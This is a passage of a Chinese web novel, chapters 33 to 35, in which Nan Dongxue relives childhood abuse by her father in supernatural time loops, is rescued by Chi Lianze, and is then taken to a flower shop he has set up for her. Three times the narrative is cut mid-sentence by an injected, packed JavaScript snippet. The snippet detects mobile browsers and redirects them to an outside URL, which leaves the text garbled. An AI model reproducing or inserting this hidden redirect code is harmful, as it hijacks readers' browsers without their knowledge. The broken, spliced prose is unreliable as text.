螺旋风起,落叶纷纷从地面往天空飞去,再飘飘扬扬落下来。宋风扬的身影逐渐在南冬雪面前呈现出来。 这一刻,胜负已定。两人的地位逆转。南冬雪不是会恃宠而骄的性子,轻蔑对方是因为这个结果太令人失望了。 “你现在,已经不能容忍我受一点点委屈到这种地步了吗?”所谓的神,撕开他的面具,竟然像木偶一样可笑。南冬雪指责道,“你以为你是谁?” 宋风扬的脸有些僵,不确信的问道,“你认出我是谁了吗?要不要我再自我介绍一下?” “不是你在我面前故意刷存在感的吗?我这么聪明,当然知道你是谁。真正的宋风扬怎么了?像真正的张梧桐一样在哪里失踪了吗?你的职责是什么?你应该做什么事不知道吗?为什么要缠着我和炽连泽不放?你想要什么?” 宋风扬后退一步,有委屈有惊奇道,“不是你想和我永远在一起吗?这才多久,你就忘了?” 南冬雪逼近一步,目光坚定,颇具攻击性,有着方老板的风范,“你不是和我心意相通吗?这点事你也不明白?我又不是没了你活不下去的人。一时的痛苦总会过去的。不论是你,还是炽连泽,或者其他任何人不在了,我肯定会难过一段时间,但过去之后,我还会好好的生活。” “是吗?”宋风扬毫不留情的嘲讽,“如果张梧桐没有存在过,那如果当初你被宋敏安抓走,没被方颖和林森妙华夫妇发现,如果你父亲没死,如果在废弃仓库里没有人去救你,如果从来没有陈兆华这个人,如果2022年你的生日那天,没有医生在你们村子里过路,如果……” 南冬雪的眼神已经暗淡下去。 “你也会为了某个目的伤害我,不是吗?”南冬雪长舒了一口气,轻松的笑出来,“连你都是这样,我怎么会相信别的人?为什么要自以为是的做多余的事情?把我的心脏还我,把炽连泽的胳膊恢复正常,还有大飞的腿,还有你伤害过的其他人,统统都恢复原状。我们的世界不需要你来插手。” 宋风扬的欠揍气质收敛了许多,此时看起来像是换了一个人,一身正气,不可亵渎,漂亮的眉眼慈祥的包裹着南冬雪,“你的意思是我是多余的?是我多事了是吗?这是害怕,在逃避现实,还是说不想承担得罪我的后果?” 他不是好人。该怎么从这样的存在身上讨回她的东西?南冬雪浑身上下都在诉说着害怕,但她强硬的压制那种自然产生的心理反应,表现的不好惹。 “那我可要一一收回来了。第一个,首先是,炽连泽……” 这个名字似乎已然成为了某种开关,南冬雪从来没有爆发出如此气势汹汹的攻击力。她冲过去时,连宋风扬也反应不及,南冬雪好心的提醒,“我要打你了!” 学着别人的样子,手掌甩过去,结果,宋风扬的手都没能从裤子口袋里掏出来,露出了一口大白牙嘲笑,“谢谢哦,真舒服。” 南冬雪气愤。 宋风扬捏捏她的大臂,微微皱起了眉头,像位对她抱有期望的长辈一样,开始批评,“看你,让你练一练,没有好好练吧?手臂的力气这么小。知道怎么打人吗?大臂带动你的手,用力更猛,来,再试试。” 疯了吧?真恶心。南冬雪想他是不是以这种方式来打击她? “南冬雪也有想要打人的时候啊!没关系,再来一次,我教你。”宋风扬绕到她背后,伸手扶起了她的右臂。 多年前的肌肉记忆在此时唤醒,南冬雪受了蛊惑一般,抓住他的胳膊,一个用力,送给背后的人一个过肩摔。只是她自己也跟着跪倒下去。 你得知道,我不是什么好人。 这个声音传入南冬雪的大脑。 水花溅起,地上一片泥泞。倾盆大雨浇头而下。宋风扬消失了,梧桐叶和银杏叶也消失了,手电筒的光从背后摇摇晃晃的照过来,迅速靠近。 “南冬雪,是你吗?”拿着手电筒的人是个男生,正急急忙忙赶过来,深一脚浅一脚的踩在泥地里。他虽然打着伞,但浑身湿透,没比南冬雪好多少。 是炽连泽。十多年前的炽连泽。他还是个一米六的初中男生,处于变声期。 他的把戏只有这些了吗?南冬雪心想,应该怎么回去?眼前的一切都过于真实了。 “叫你等等我你都不等,没带伞吗?” 炽连泽的伞整个偏了过来,被雨水浇透的两个人,借着手电筒的光看清了对方的脸,谁都没有表现出对彼此的疑惑。 他们撑着一把伞,拿着一只手电筒,在暴雨的夜里,一起走在回家的路上。一开始各走各的,后来因为路太难走,总是脚滑,他们不得不互相搀扶。 “你害怕吗?”炽连泽说。 “怕什么?”南冬雪心里想,她想要回去,继续她的26岁。 打雷闪电,狂风暴雨,远处的参天大树如同巨人的影子,摇摇欲坠。 “树上有只猫头鹰,瞪着两只那么大的眼睛。” “在哪里?” 南冬雪一直专注于脚下,听了这话,从伞底下往外望去,只看得到伞檐下的水帘,和手电筒照在地上身前半米的泥洼,才明白炽连泽是在说谎。他应该害怕这天气才对,扯什么猫头鹰。 “今天早上从这里经过的时候,我看见了,吓我一跳,害怕它飞过来啄我眼睛。” “我也见过梅花鹿。” “在这里吗?” “对,玉米地里,我看到它吓了一跳,它看到我也吓了一跳,我吓得走不动路,它跑了我才走。” “是不是很有意思?” 是很有意思。没有人和她聊这些事情。整个成长的过程中,她没有一位朋友,炽连泽是第一个愿意靠近她,带着她玩的人。 不过这有什么可满足的呢?全都是虚假的。炽连泽被大人们骗了。他们一个劲的夸南冬雪聪明,学习好,希望炽连泽也是那样的孩子。他以为南冬雪才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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炽连泽推开了那道木门,屋里白炽灯悬挂在屋顶,晃来晃去。雨水从后院漫进厅堂,到处都是用来接水的锅碗瓢盆,桌上乱七八糟摆着各种杂物,一整个肮脏反胃的环境。她在这样的家里出生,长大,直到十五岁。 已经逃离的她,为什么要再回去?南冬雪回头看着炽连泽,“你不走吗?我已经到了。” 他奶奶的家就在马路斜对面,两层小洋楼,门前是他爷爷奶奶精心打理的花园和菜园。 因为不愿意和她这样的人家做邻居,曾经想要另改门楼,从另一个方向开一个大门进出。出生在这样的人家,越聪明越抬不起头来看人。 “快进去吧,外面挺冷的。”炽连泽要帮她把门关上。 南冬雪像以前任何时候一样,率先把别人的意愿放在首位,给他让位,顺从于人。她走进屋子,门在背后关上。 屋内的情景微微变化。桌上乱七八糟的旧物变成了鸡蛋、奶粉、饼干等食物,旁边有两个砸碎的酒瓶子。 忍不住想吃的食物是妈妈送来的,让人看着害怕的酒瓶子是爸爸的怒气所化。 那个该死的男人,什么时候才能不慎失足,一命呜呼?那样的话,妈妈才有可能会回来。 她这样想着。转身想逃,看见自己身上穿着白衬衫。 白衬衫。炽连泽的奶奶送来的这件白衬衫。南冬雪知道今天是什么日子了。可是这个时间,炽连泽还没有来到他奶奶家生活。难道那个炽连泽是假的吗? 真真假假,她分不清。就算是假的,也没有办法反抗。 33. 梨花开 谩骂,打砸,毁灭。生命受到威胁之前,十二岁的女孩已经感觉到笼罩的恐惧,无处可逃的绝望。 门外是一样的残酷。她了解那些人,只会看笑话。所以她只是躲,从来不会逃到外面去。 妈妈也是这样。她也是这样。出了门,还能假装自己和别人一样,能够享受这世界的美妙。 二十六岁的她,发现自己根本无法逃脱。她没有受过训练,遇见这种情况先被恐惧拖着身体,脑子迟钝,四肢不听使唤。 现在的她只是比那个时候长高了半个头而已,体重上也基本没有变化。讨论这些都是笑话。她面对的是一个成年男子,又高又壮的胖子,脾气暴躁,爱喝酒,在这个家里、和南冬雪的心理阴影中还留有权威。 他的离世,也有她的一部分责任。那个谁也不知道的私心,在念及这个人时,还会出来作祟,折磨她的良心。她的钱被宋敏安骗光了,之后没有付出努力去救他,甚至有点庆幸,只是这样而已。但在他将要伤害她的时候,这个理由也成了她为对方施暴寻找的正当理由。 她捂着脖子躺在潮湿的地上,还能看见她的父亲坐在一旁点燃了一根烟,把烟灰弹在地上,飘飘洒洒落进她的血液里。 门开了,奶奶大喊大叫,又有人进来了,更多人也进来了。她这个时候才知道,平时背地里笑话他们家的邻居们也会在这种时候施以援手。 大雨仍然在下。 门外也有一个白衬衫。 大高个的炽连泽和穿着干干净净的白衬衫的南冬雪。染了血的地方是炽连泽的脖子。 他怎么了?她想。是不是聪明人的感官都很灵敏?为什么让她感到疼痛?为什么让她看到别人看不见的东西?在和这世界说再见的时候,她想要独自带着自己的狼狈离开。 “和她说话,让她保持意识清醒!” “快点快点!” “南冬雪,坚持住!南冬雪,反抗起来,南冬雪,你不要这么废物,反抗!知道吗?” 第一句话是炽连泽父亲说的。第二句话是妈妈的第二任丈夫说的,第三句话是炽连泽的声音。南冬雪有点分不清是年少的炽连泽还是二十六岁的炽连泽。 第一次也是这样。但那时的意识没有这么清醒,而且,她还不认识救她的人里,其中一个是妈妈的第二任丈夫,也就是在真正的张梧桐家门口,开着小吃店的那位。 这一次她才知道,这天晚上大人们之间发生了什么。 妈妈的第二任丈夫来送东西,说要把南冬雪接走,和妈妈一起接走,受到了暴打。闹到了炽家的家门口,炽连泽的父母刚好在家,说了句劝架的话,父亲又把矛头指向了炽家人,说他老婆这么多年送来的东西都到炽家了。 实际上呢,炽家人不愿意接那烂摊子,每次南冬雪她奶奶收到前儿媳送来的东西,大多是日常用品,夹带着一两件给女儿的个人物品,里面一般会藏着钱,奶奶先把钱留下,然后提着各种东西到炽家走一遭,东西一样不少的提回来,还多带了炽家二老给的同等价值的钱,然后她又把这些东西拿到商店用低价卖掉,如此供养着酒鬼儿子和年幼的孙女。 最后救她的人,也是被畜生父亲刚刚暴打了一顿、才过去一两个小时的人。 让我痛苦的事情不是这些。南冬雪对张梧桐讲。 时间是一个月后,父亲被警察带走,叫嚷着说,“那是我女儿,我生的,我想怎么样就怎么样,掐死个小鸡不也那么回事”,又说,“我喝酒了,我什么都不知道”,“她犯了错,我只是稍微教训教训孩子怎么了?” 十二岁的南冬雪第一次知道,书里看到的某些事情是真实的。她受到伤害,也有人替她讨回公道。 但是奶奶回到家里对她劈头盖脸的一顿打骂,两人争吵起来。 “你报什么警?是不是你报的警?那是你爸!你也做得出来?真是白养你了!跟你那个妈一样,养不熟的贱货!” “他要杀我。”南冬雪只说了这一句话。 “那你死了吗?你死了吗?你现在不是活得好好的?” 奶奶急火攻心,卧病在床,临死之际,她拿出一个布包,给南冬雪,“把这个给你高伯伯送去,他能说上话,救你爸出来。这些钱都是你爸存下来的血汗钱,你不要动,一定要送过去,有他在,才有你活的路,知道吗?你爸爸不容易,他再坏,也是你爸爸,长大了要记得对你爸爸好,孝顺你爸爸。你妈跑了,没人陪他,他太可怜了,知道吗?” 布包里的钱,每一张都折起了一个角,上面用铅笔写着一个号码。南冬雪认得,这是妈妈的习惯。 还以为这个世界上只剩下奶奶对她最好。原来她的心里更爱她的儿子。这个可恶的人,歹毒的人,连妈妈对自己女儿的爱也要剥夺。终日向外人诉说着他们家变成如今这个样子,都是因为冬雪妈妈□□、不守妇道,跟野男人跑了。用着妈妈的钱,还要给她的女儿灌输着妈妈如何如何无耻不堪。 她知道是非,知道谁对谁错,但是她柔弱,靠人吃饭,所以不能反抗。 后来她没有把那些钱送给别人,父亲在三天后也平安的回来了。真该死。她咒骂。可是无可奈何。 现在,她已经不会期待谁的爱了。 张梧桐,你想要怎么样?陈年往事,对我来说已经不会那么痛苦了。你输了。 时间回溯。南冬雪再一次摔进泥水中,手电筒的光从身后照过来。 “南冬雪,是你吗?” 南冬雪有点迫不及待,“今天是几月几号了?” “7月8号,怎么了?” “是哪一年?” “2013年。你傻了吗?” “你傻还是我傻?” 炽连泽哈哈笑着,雨水从他脸上流下来,流进了嘴巴,“我傻,是我傻,南冬雪是最从聪明的人。” “哎,别说这样的话,我不喜欢听。” “可我喜欢听你这样说话。”炽连泽为南冬雪撑着伞,撞了她一下。南冬雪险些滑到,又被炽连泽及时拉了回来。两个人的接触比上一次自然多了。“对不起,对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167143|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。南冬雪,你以后就这样直接点说话多好,你知道我是挺傻的,经常不明白你在说什么。” 南冬雪扭头看了他一眼,觉得这孩子真可怜。 “你也很聪明,你哪里傻了?学习不好,你唱歌好听,很会关心人,懂得人情世故,优点太多太多了,干嘛总是被大人影响着,觉得自己不好呢?” “原来你明白啊?” “你说什么?”刚刚这话说得不像是炽连泽,但南冬雪突然想起来自己不该惊讶。他就是这样的人,嘴上不说真话,只说漂亮话。 “是你被影响的太深了。” “看来是我傻。”南冬雪笑着。两个人在说什么,互相心知肚明。 现在的时间,炽连泽的出现是符合事实的。那就是推门的那一刻有问题。身边的人,什么时候换掉了吗?还是说,和炽连泽没有关系,都是张梧桐在搞鬼? “可以看一下你的右手吗?” “看我干嘛?”炽连泽甩了甩手,把衬衫袖子放下来挡住胳膊上的伤口。“别告诉我奶奶,我打架了。” “你和谁打架?你怎么不学好呢?” “我不学好?南冬雪,你这落井下石!”炽连泽急得口齿不清,“我这不是为了你打架吗?” “为我?”南冬雪傻呵呵的乐起来,伞外的雨水飘打在脸上,一阵一阵冷飕飕的,让人直起鸡皮疙瘩。但和身边这个人说着话,就会觉得好多了。“是谁喜欢我吗?” “呵呵,你真是傻得有福啊!”炽连泽暴露了一个毒舌属性,“是啊是啊,大家都喜欢你,喜欢在背后讨论你。都是一些没教养的蠢货喜欢你,你也开心吗?” 要是早点能和他聊聊就好了。她不知道,炽连泽在上学的时候,因为她打过架。至于理由,二十六岁的她说话间表示自己忘了,但语音未落,她已经想到了。 差点被父亲杀掉,这件事很快就传遍了方圆百里。他们以为被会杀掉的人都是罪大恶极的人,他们以为认识一个字、会读会写,就是理解了它的意义,所以他们才会说,“南冬雪不是什么好东西,所以才会被杀啊!” “讨论我什么?”她还要再问,折磨自己,也折磨炽连泽。 “讨论你会不会管我叫表叔哈哈哈……”炽连泽大笑。 南冬雪应和,“我敢叫你敢答应吗?” “你敢叫我就敢答应。” 炽连泽是学校里光鲜亮丽的有钱人,再蠢的人也不会去招惹他。那件事发生之后,经过了一个暑假,炽连泽就来到了奶奶家,和南冬雪为邻。他及时的成为了南冬雪的保护伞,让她少受了很多伤害。 即使是在炽连泽的妹妹病发去世那件事之后,他再生气也没有把她推得太远,反而是紧紧缠在她身边,做了一年同桌。别人的同桌换了好几轮,只有她和炽连泽,从头到尾作为同桌,一共度过了200天。 她以前怎么都没有想到这些呢? “我到了。”这次是南冬雪说的。 他们不知不觉间已经第二次走到了她的家门口。 34. 心有灵犀 门关上了。 又响起敲门声。 “南冬雪,一定要上好的高中,上名牌大学,毕业了我们一起去翻山越海。等你十八岁生日的时候,我要送给你一台相机,怎么样?” 南冬雪哽咽,“好!” 这个时候她的声音还是嘹亮的。不过这一声引起了屋内人的注意,死胖子已经过来了。 敲门声又响起,比之前剧烈,“南冬雪,开门!” 是二十六岁的炽连泽的声音。 他推不开那道门。最好不要推开,南冬雪想着。 门开了,她又看见炽连泽站在那里,身上的衣服多了一些血迹。 为什么?守护着她的神,不是保护她的吗?怎么打乱了他要占据炽连泽身份的计划之后就变了?不是在弄丢了她的心脏之后,还因为她在人前难堪,所以过来解围了吗?为什么又要这样一次次的折磨她,折磨炽连泽? 第三次回到泥水路上。南冬雪率先感觉到的是脖子上的疼痛。她一模,手上的血被雨水迅速冲刷干净。 守护她的神,这是打算将她凌迟处死吗?她会不会死在年少的炽连泽眼前?吓到那个人? 南冬雪打算移到路边的田地里去躲起来,但脖子上的疼痛让她的神经变得麻痹。 十二年前的今天,她似乎也是躲了过去,没有和炽连泽一起回家。因为她看见炽连泽在打架,那凶狠踹人、挥拳的样子,简直是个惯犯,所以她不想再和他交朋友了。 真是傻。怎么会那么蠢呢? “南冬雪,是你吗?”为了快速跑到她身边,炽连泽甚至收了伞,跑到她身边时,才重新打开,双手稳住被风随时会吹翻的伞。“说了让你等我,为什么不等我?” “你知道我们这是第几次遇见了吗?” 炽连泽歪着嘴,眼睛微微眯起。这是遇到难题时,他的标准反应。 “第几次?你问我第几次?让我想想,应该是第三次了。你感冒了吗?声音怎么那样?” “今天是几号啊?我忘了。” “9月6号,怎么了?你有什么作业忘了交吗?诶,你脖子上那是什么?” “摔了一跤,溅了一身泥。” “要不要我背你?” “你背我,滑到的话不是摔得更狠吗?” “有道理。你穿了个泥做的高跟鞋吗?怎么一下子比我高了?” “你先走吧,我还要等人。” “等谁啊?你连伞都没有拿。” 她快要支撑不住了。 炽连泽的身体突然向前弓,扑倒在泥水中。像是被人从身后踹了一脚。 南冬雪一瞬间想到了和炽连泽打架的死对头,扭头一看,却是二十六岁的炽连泽。 “你干嘛打你自己?!”南冬雪指责道,身体不由自主的歪倒。 他一把抱住南冬雪,把自己的外套裹在她身上,嘴叼着一只小小的手电筒查看她的脖子。她感觉到他的手指在她的皮肤上轻轻的拂过,一次又一次,下巴几乎挨着她的鼻尖。 两次相同的伤口。不知道还有没有救。没有死在年少的炽连泽面前,却要死在二十六岁的炽连泽怀里。 他对她而言,有亲情、友情、一起出生入死的感情,不单单是爱情。或者要说,是比爱情更深刻的感情。 两具冰冷的身体紧紧贴在一起,南冬雪更能感受到他胸腔里那颗心的温度。不管是真是假,是一时半刻,还是长长久久,南冬雪只想依靠着,汲取这份爱。 他把手电筒从口中取下来,如同鬼魅的一张脸也重新好看了起来。 “南冬雪,别害怕,没有伤口。”炽连泽长长的吐了一口气,抱着南冬雪的脑袋,轻轻拍了拍她的背,“不用害怕了。对不起,你得先一个人待在这儿,我要去救一个人。” 炽连泽急切的从地上捡了少年炽连泽的伞,塞进南冬雪的手里,转身就要跑,被南冬雪一把拉住。 “你还要去救谁?” “来不及了,在这等我。” 他要哭了。 南冬雪抱住了他,“我在这里,不是吗?我活到了二十六岁,所以十二岁的我,不用你去救,会有别人救回来的,放心。你害怕吗?” “我怕。”声音从炽连泽身体深处发出来。“我怕救不回来你。” 为什么炽连泽会对她产生这样浓烈的感情?南冬雪不明白,“我是问你害怕遭遇了那些事情的我吗?” 炽连泽突然双手捧着南冬雪的脑袋,低头看着她的眼睛,“我看你才是笨蛋吧?我怕你干什么?你告诉我,我应该怕你什么?” 他不理解,说明他不在乎。 他的情绪忽然低落,声音也请冷了几分,“所以你的声音,是因为喉咙受伤了?” 南冬雪的脑袋还在炽连泽的两只大手里,艰难的点了点头。她挺喜欢炽连泽这种霸道的感觉。连谈起自己的伤痛之时也无所谓了。 炽连泽又抱着她。湿漉漉的衣服裹在身上,黏腻腻的感觉,就是他爱她,她爱他的具象化吧。 “是不是该走了?趁过去的你还没醒来,送他回家吧。”南冬雪拍拍炽连泽的腰,“我很好奇,你现在的记忆里,这一天是不是也被人踢晕了,然后被人送回家的?” 炽连泽思考片刻,向南冬雪投去“你好聪明”的眼神,点头说,“是。” 炽连泽左肩扛着年少的自己,右手举着伞,南冬雪两只手紧紧抓着他的右臂。三人就这么在大雨中往前走着。 门铃声响了又响。小刘焦心的看了看手表,已经在这里等了半个小时了。三天前,大飞受伤,炽连泽和队友们把人送上救护车之后,眼看他返回了那间培训室收拾残局,但是后来,谁都联系不上他。 不知道监控出了什么问题,拍到了他走进培训室,但没在室内拍到他的身影,后来更是没有拍到他从大门出去。 这两天就是他归队的日子,偏偏出了这岔子。要是再联系不上,他们就准备报警了。 小刘正在打电话给队长汇报,“我在这里等了半个小时了,根本没有人来开门,问了保安,说是也没有见人……” 他们的脑海里已经形成了对这件事的定义:离奇失踪,一桩奇案…… 身后的门却在这时打开了。炽连泽大呼一口气,双手扶在膝盖上,仰头望天。他把门推开得更大一些,南冬雪也跟着走出来,迎着阳光深呼吸。 小刘已经惊呆了,对电话里的队长问话忘记了回答。这两人看起来极其狼狈,浑身上下湿透了,一身泥污,衣服还是三天前那身,面目看来疲惫不堪。再仔细一看,身上好像还有血迹。 “泽哥,你们这是?”不解,小刘实在不解。 视线恰好落进屋内的地板,干干净净,只有门槛处留有泥水。这太奇怪了。 炽连泽露出困惑的表情,回头去看南冬雪。 “准备出门去玩行为艺术。”南冬雪一本正经的回答。 炽连泽赞许点头,问,“你怎么会过来?大飞怎么样了?” “看着挺严重的,实际上没什么大事,修养三个月就没事了。看到你……”小刘迟钝了一下,又看了南冬雪一眼,“和冬雪老师没事,那我就先回去了,泽哥,你亲自给队长打个电话,解释解释你这三天为什么失 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第八天早晨,父亲和奶奶出门之后,她拖着那条伤腿,从床上爬下来,坐在门口。她不去想等待自己的将会是什么,只想再静静地看着蓝天白云,看麻雀如何在枝头跳来跳去,看草丛里的蚂蚁,和蜀葵上的蜜蜂。 一个人站在她家门前。她从来没有见过那样的人。 只有二十出头的年龄。个子很高,皮肤很白,戴着金丝眼镜,黑色的头发向后梳得一丝不苟,身穿灰色衬衫和西装裤,黑色的皮鞋,以及同色系的夹克。 南冬雪当时的想法是,他好像从电视里走出来的人。 他走近门槛上坐着的小女孩,蹲下来,看了一眼她的腿,笑着逗小孩,“你好,小姑娘,我是周医生,你叫什么名字?” “姓南,南冬雪。” “讲话真不错。将来想做什么?” “你是人贩子吗?” 下乡为民免费服务的周医生,后来为她治好了腿。十二岁那次,为她主刀的医生,也是他。她认出来了,但他似乎忘记了。 认为他是自己的守护神,是从什么时候开始的?南冬雪从浴缸里走出来,开始擦身子。 从镜子里看到裸露的额头,手插进头发,在那里摸到了不规整的两块骨头,南冬雪又把回忆重新排了序,十分肯定,是那次被同学不小心推下楼,脑袋撞在墙上的时候。 那个位置,之前有人撞断了腰椎。所有人都以为她会头破血流,结果她只是肿了个包。在她之后,那面墙被重新改造,填补了棱角。 她是在梦里回想起来的。撞过去的那一瞬,实际上是撞进了一个人的怀里。不然,她的肚子也会受伤。 可事实是,她撞上去的时候,那面墙前,只有她一个人。 确实是有一个看不见的人在周围。她头上的肿包过了一个星期才消下去。在这期间,她在树影之间,在阳光照不到的墙角,看见过隐约的人影。 在她不再感到疼痛的第一天晚上,在被罚站的楼道,无星无月,夜幕低沉,一条大尾巴顺风而来。她亲眼看见那条狐狸船上站着一个人,脸的轮廓像极了周医生。撞墙的时候,也看见那人是穿着灰色衬衫的。 后来,还有很多次像这样的事。 为什么不现身的守护神变成了张梧桐?又为什么又变成了坏人? 吹好头发,南冬雪才发现自己没有换洗的衣服,只能穿了放在浴室的睡袍。 敲门声响起。“咚咚咚”,“咚咚咚”,每次三下,是欢快的,微微焦急的。 35. 春江水暖 打开门来,炽连泽正背对着门站着,听见她走出来才扭过头来,目光落在她脸上,而后快速的扫了一眼她身上穿着的浴袍。 正巧,两人选的是同款。蓝红条纹的珊瑚绒,开襟系带款式。 “外卖到了,下去吃饭。” 从2012年回来之后,两个人看向对方的眼神,如两条交缠的鱼儿。 炽连泽走下两级楼梯,忽然停下,向身后的南冬雪伸出手,南冬雪毫不犹豫的把自己的手放上去。 爷爷奶奶已经回了老家,所以这偌大的房子里只有他们两个人。这一次,南冬雪没有不自在。 炽连泽剥了一只虾放进她的碗里,南冬雪叫嚷着,“我比较想吃糖醋排骨!” 糖醋排骨立马送到了她面前,也在她的碗里夹满。南冬雪抿着嘴笑,用叉子弄掉了骨头,把那块排骨送到炽连泽嘴边。 炽连泽见状,连忙放下手里的汤匙和碗,转过身来,正对着南冬雪,张大嘴巴去接。他一边吃着南冬雪喂的东西,一边试探着想要去蹭她的肩膀。 察觉到这一点的南冬雪伸手将他的头直接搂了过来,抱在一起。 “你的洗发水味道真好闻。” 炽连泽抬头看她,“你这是不是第一次夸我?” 这也算是夸吗?南冬雪心中吐槽,打算以后多夸夸这个人。又想到,要是夸他太多,满足了,厌烦了,岂不是对这段关系也没有心劲了? “那你喜欢的话,我以后多夸夸你。”刚刚陷入热恋之中,就开始说谎话了。炽连泽没有说话,靠在她肩膀上不知想些什么,一双含笑的眼睛告诉她,他又在想什么得寸进尺的事情了。 “想说什么就说嘛,你吃饱了?”南冬雪说。 炽连泽的脑袋在南冬雪肩膀上蹭了蹭,无比幸福,“明天带你去一个地方好不好?” “可以。” “你现在不会拒绝我了吧?” 南冬雪警告他,“不要做太过分的事情。” “不敢不敢。”炽连泽对天发誓。他终于可以像这样靠近她了。很难想象,和一个完全独立的生命个体之间互相产生感情的交缠,从此多了软肋,这是一个多么神奇的事情。而且,这个过程太过迅速,但又合情合理,他还来不及适应,便已经到达了顶峰。 南冬雪在炽连泽家里休息了一晚,第二天醒来已经是上午十点,房子里只有她一个人。南冬雪愤恼之时,看到自己房门上贴了一张纸条,上面写着: 早饭在恒温箱中,记得吃完来找我,门外有车等你。 ——炽连泽 落笔之后画了一个笑脸,和一朵小红花。 他要搞什么神神秘秘的事情?南冬雪吃过早饭,想要打扮打扮自己,结果她只有昨天那一套在泥水里摸爬滚打过的旧衣服。破旧牛仔裤,黑色羽绒服,白靴子上穿着没洗干净的白色鞋带。没有化妆,没有口红。可恶的炽连泽安排的司机,也根本不听她的话,径直把车开往目的地。 南冬雪早早便看见炽连泽在路边等着。车停下来,炽连泽拉开车门,接她下来。炽连泽今天穿了一身深蓝色的西装,衬托的他睿智了一些。如此正式,再看看自己,南冬雪真是一步也不愿意跟着他走了。 “你要是打算让我出丑的话,我可就不去了。” 炽连泽听了这话,紧紧抓住她的手,生怕她出其不意就跑开了,紧张的问,“什么叫打算让你出丑?你怎么推断的?可别冤枉好人,我真没有。” 这人真是缺心眼。现在后悔和他在一起来得及吗?南冬雪不愿意再为难他,只好跟着走。 陷入恐惧循环的时候,感情疯长,拼了命的只想和他在一起,现在又回到了正确的世界,那种感情似乎慢慢消退了。她想要独处,想要继续塑造自己。她还不习惯生活中有一个炽连泽。她该怎么对炽连泽诉说这种感觉? 如迷宫一样的城市丛林之中,道路两边的奇花异草修剪齐整,红砖墙外壁的高楼方正,在其中绕来绕去,总有一番新奇的好景色。逐渐,视野开阔,远处是一座小山,绿油油如一朵巨大的西蓝花。 “到了。” 南冬雪只顾着瞧那山了,听见炽连泽提醒,目光才落在面前的一栋三层小楼上。刚刚余光里瞧见这里门前花团锦簇,还以为是假的。她后知后觉,才发现满墙的绣球、三角梅都是真花,正散发着浓重的香味。 花店名为“春江水暖”。算不上别出心裁,但让人觉得舒服。 “你要做什么?”南冬雪不愿意进去。 那儿不适合她。 “进来看看。”炽连泽虽然拉着她的手,但不会强行拖着她走进去。他在紧张,期待,今天是和南冬雪正式在一起的日子。他希望这是个开始,往后余生的相伴约定都从这一天开始。 “你不会把我卖了吧?” 这可把炽连泽难住了,大脑一时宕机。被气笑了,说,“不是不是,你跟我来吧,求你了!” 既然他已经开口乞求了,南冬雪再推辞便是不识抬举。 炽连泽牵着南冬雪,带她走进店门,清脆的风铃声在身后响了又响。 眼前又是一片花海迷宫,目光所及之处,皆是热烈奔放的鲜花,红橙黄绿青蓝紫及其家属排列有序,不争不抢,愤怒的释放着自己的味道。有时需要跨过花墙,有时需要钻过拱门,一转弯,一扭头,各处的花艺都是一处新景,看不完,挖掘不完,无限趣味。 本以为店面挺小,结果里面别有洞天。走来走去,觉得自己来到了一个与世隔绝的桃花源。 “怎么店里没有一个人在?” “因为我是老板。”炽连泽带她走上木质楼梯,“一楼开花店,二楼可以做你的工作室,如果你喜欢人多一点又安安静静的,可以开咖啡馆,三楼是休息室,以前没用过,所以还需要装修一下,布置些家具,随你怎么使用。” “干嘛给我使用?我要工作室干嘛?”南冬雪一脸懵。 炽连泽从身边的书架上拿出一本书,翻开来,“174——56——3,我托朋友查了一下,才知道宋风扬,不对,他不是宋风扬,反正就是那个什么,你知道我在说谁,他对你说的这串数字是什么意思。这实际上是你的作品吧?被宋敏安偷走了,张梧桐帮你拿回了你该得的报酬,你还不知道吧,你现在住的那套房子实际上你自己挣来的钱买的,所以不要再内疚。而我要帮你拿回你应该得到的名誉,让你能继续做自己喜欢的事情!” 炽连泽看起来为此十分骄傲。 南冬雪了无兴趣。再提起张梧桐,她心里堵得慌。如今,她还是会习惯性的逃避问题。 “我不在乎。如果不是宋主任,这漫画不会火起来,所以不重要了。我已经有了新的工作,新的追求。而且……”南冬雪好像是那个总在别人高兴的时候泼冷水的人,“你忘了吗?我没有心脏了,不知道还能活多久。” 所以不要去想以后那么久的事情。这个笨蛋能不能为自己的人生负责任? 炽连泽将南冬雪猛地一拉,迫她看着自己,目光坚定,“你自己说过的话忘记了吗?就算只能活一天,也要快乐的活着,没有遗憾的活着,你说你要和我在一起。” “我这不是为你的将来着想嘛!” “我不需要,我愿意,我知道自己在做什么。” 南冬雪轻轻拍着炽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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炽连泽呲着大牙乐,眼里闪着不单纯的光。南冬雪用玫瑰花挡住炽连泽的脸,把他推开去。炽连泽便乖乖的站在一旁,目光紧紧的黏在南冬雪的脸上,开始畅享未来。 “以后花店就交给我们老板娘打理。利润嘛,就你二我八,怎么样?” “谁是老板娘?” “那你三我七?” “不稀罕,不要。” “你四我六。我也得有点钱出去交朋友嘛!” “我不要你的东西。”就这么和他成为了现实。要是那时候就知道会和炽连泽在一起的话,会是什么心情?如果不是张梧桐藏起来的那封道歉信,如果不是为了想要知道张梧桐的背后的秘密,她不会去找炽连泽。如果不去找他的话,还会有后来的故事吗?张梧桐到底为什么针对炽连泽,这一点至今没有搞清楚。 “那你七我三好了吧!就这么定了。我家的怎么这么对我这么狠?一点也不心疼我?” 一个身高逼近一米八,英俊美貌,拥有八块腹肌的大男人,竟然委委屈屈像小孩一样哭诉。 